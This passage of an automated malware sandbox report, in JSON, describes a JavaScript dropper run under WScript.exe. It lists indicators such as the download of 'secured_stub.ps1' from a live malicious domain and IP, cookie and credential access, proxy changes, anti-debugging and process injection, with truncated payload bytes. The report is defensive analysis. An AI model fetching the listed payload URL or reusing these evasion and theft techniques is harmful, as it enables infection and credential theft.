Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\loi-productspecifications.js\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\scrrun.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution (Powershell command string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\version.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\VERSION.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\en-US\\wscript.exe.mui\"\n \"WScript.exe\" trying to touch file \"\\Device\\KsecDD\"\n \"WScript.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\FLTLIB.DLL\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\msvcp140.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\MSVCP140.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"WScript.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \"WScript.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"WScript.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"WScript.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\27S7E40K\\secured_stub[1].ps1\"\n \"WScript.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"WScript.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\"\n \"WScript.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"\n \"WScript.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"\n \"WScript.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\27S7E40K\\secured_stub[1].ps1\"\n \"WScript.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$51","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$52","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"WScript.exe\" wrote 8192 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\27S7E40K\\secured_stub[1].ps1\": 4d5a4e384e645967454f5175334b736c334f68454750786c3072773862346f41525536634b7066420d0a413036752b573835522b524448577a6d4a37362b62684d44386b5830676e48632b4357394b506536652f4b735a64724a766f464b7a464c6d762f3174496c4872705354614b795a41506739660d0a79684a514a6d7650 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"WScript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\27s7e40k\\secured_stub[1].ps1\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /build/secured_stub.ps1\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00006896.00000000.134622.ECA50000.00000004.mdmp, 00000000-00006896.00000001.136542.ECA50000.00000004.mdmp, 00000000-00006896.00000002.138461.ECA50000.00000004.mdmp, 00000000-00006896.00000003.143769.ECA50000.00000004.mdmp\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00006896.00000000.134622.EEF70000.00000004.mdmp, 00000000-00006896.00000001.136542.EEF70000.00000004.mdmp, 00000000-00006896.00000002.138461.EEF70000.00000004.mdmp, 00000000-00006896.00000003.143769.EEF70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.2\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n \"2.5.29.14\"\n \"2.5.29.15\"\n \"2.5.29.31\"\n \"2.5.29.19\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.32\"\n Potential IP \"4.0.0.0\" found in string \"ystem.DirectoryServices,4.0.0.0,,b03f5f7f11d50a3a\"\n \"2.5.29.17\"\n \"2.5.4.3\"\n \"2.5.29.1\"\n \"2.5.29.10\"\n \"2.5.29.16\"\n \"2.5.4.10\"\n \"2.5.4.6\"\n \"2.5.4.5\"\n \"2.5.4.7\"\n \"2.5.4.11\"\n \"2.5.4.8\"\n \"1.0.0.0\"\n Potential IP \"4.0.0.0\" found in string \"ystem.Windows.Forms,4.0.0.0,,b77a5c561934e089\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.Commands.Management.resources,3.0.0.0,en-US,31bf3856ad364e35\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$53","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /build/secured_stub.ps1 HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nUA-CPU: AMD64\nAccept-Encoding: gzip\n deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)\nHost: leisureconnecting.com\nConnection: Keep-Alive\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"leisureconnecting.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://leisureconnecting.com/build/secured_stub.ps1","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"leisureconnecting.com\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"70.32.23.109\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEDBB4614576100F256CF167F6CA95]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006896.00000000.134622.ECA50000.00000004.mdmp, 00000000-00006896.00000001.136542.ECA50000.00000004.mdmp, 00000000-00006896.00000002.138461.ECA50000.00000004.mdmp, 00000000-00006896.00000003.143769.ECA50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00006896.00000000.134622.ECA50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access system credential hash file","description":"Found string \"componenthashtableentry\" (Indicator: \"nthash\"; Source: \"00000000-00006896.00000001.136542.12210000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1003.002","relevance":1,"id":"string-867","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"535,6668,3025,,RtlGetNtProductType,NTDLL.dll,\"00:35:06.234\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00006896.00000001.136542.EF070000.00000004.mdmp, 00000000-00006896.00000002.138461.EF070000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser cookies (file access)","description":"\"WScript.exe\" attempting to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"WScript.exe\" attempting to open a file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"","origin":"API Call","mitre_attack_id":"T1539","relevance":10,"id":"api-301","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$54","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006896)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"29cef19fd40\"\n \"Count\": \"1\"}\n \"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"29cef1596f0\"\n \"Count\": \"1\"}\n \"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"29cef159070\"\n \"Count\": \"1\"}\n \"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"29cef1599f0\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$55","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetProcessById\" (Indicator: \"GetProcessById\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp, 00000000-00006896.00000003.143769.07CFB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Process\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$56","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$57","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"WScript.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$58","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"WScript.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"aspnet_compiler.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$59","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$5a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to shellcode","description":"Found reference to API \"shellcode\" (Indicator: \"shellcode\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-468","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006896]\n Dropped file: \"ModuleAnalysisCache\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00006896]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6896)","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"aspnet_compiler.exe queries ProcessDebugPort (UID: 8764), \"aspnet_compiler.exe queries ProcessDebugPort (UID: 6900)\n \"aspnet_compiler.exe queries ProcessDebugPort (UID: 3588), \"aspnet_compiler.exe queries ProcessDebugPort (UID: 8428)\n \"aspnet_compiler.exe queries ProcessDebugPort (UID: 3400), \"aspnet_compiler.exe queries ProcessDebugPort (UID: 7660)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/27 Antivirus vendors marked sample as malicious (11% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"General","name":"GETs files from a web server","description":"\"GET /build/secured_stub.ps1 HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)\nHost: leisureconnecting.com\nConnection: Keep-Alive\" Response ==> HTTP/1.1 200 OK\nDate: Wed\n 04 Nov 2026 10:21:25 GMT\nServer: Apache\nStrict-Transport-Security: max-age=63072000; includeSubDomains\nX-Frame-Options: SAMEORIGIN\nX-Content-Type-Options: nosniff\nLast-Modified: Tue\n 03 Nov 2026 11:06:10 GMT\nAccept-Ranges: bytes\nContent-Length: 1444210\nKeep-Alive: timeout=3\n max=500\nConnection: Keep-Alive with response body ==>0D0A233D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D0D0A232050532053656375.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 70.32.23.109 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for invalid number of Rva and Size of PE process \"00000000-00006896\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\IDENTITYCRL\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\IDENTITYCRL\"; Key: \"LOGINURL\")","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_isqlr1hy.lrf.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_eaj1opgv.41v.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_isqlr1hy.lrf.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_isqlr1hy.lrf.ps1]- [targetUID: 00000000-00006896]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behaviors","description":"The script produces internet activity. Is obfuscated and/or drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawned processes are likely due to an injection","description":"Process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" spawned likely due to injection","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":3,"id":"target-413","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"WScript.exe\" called 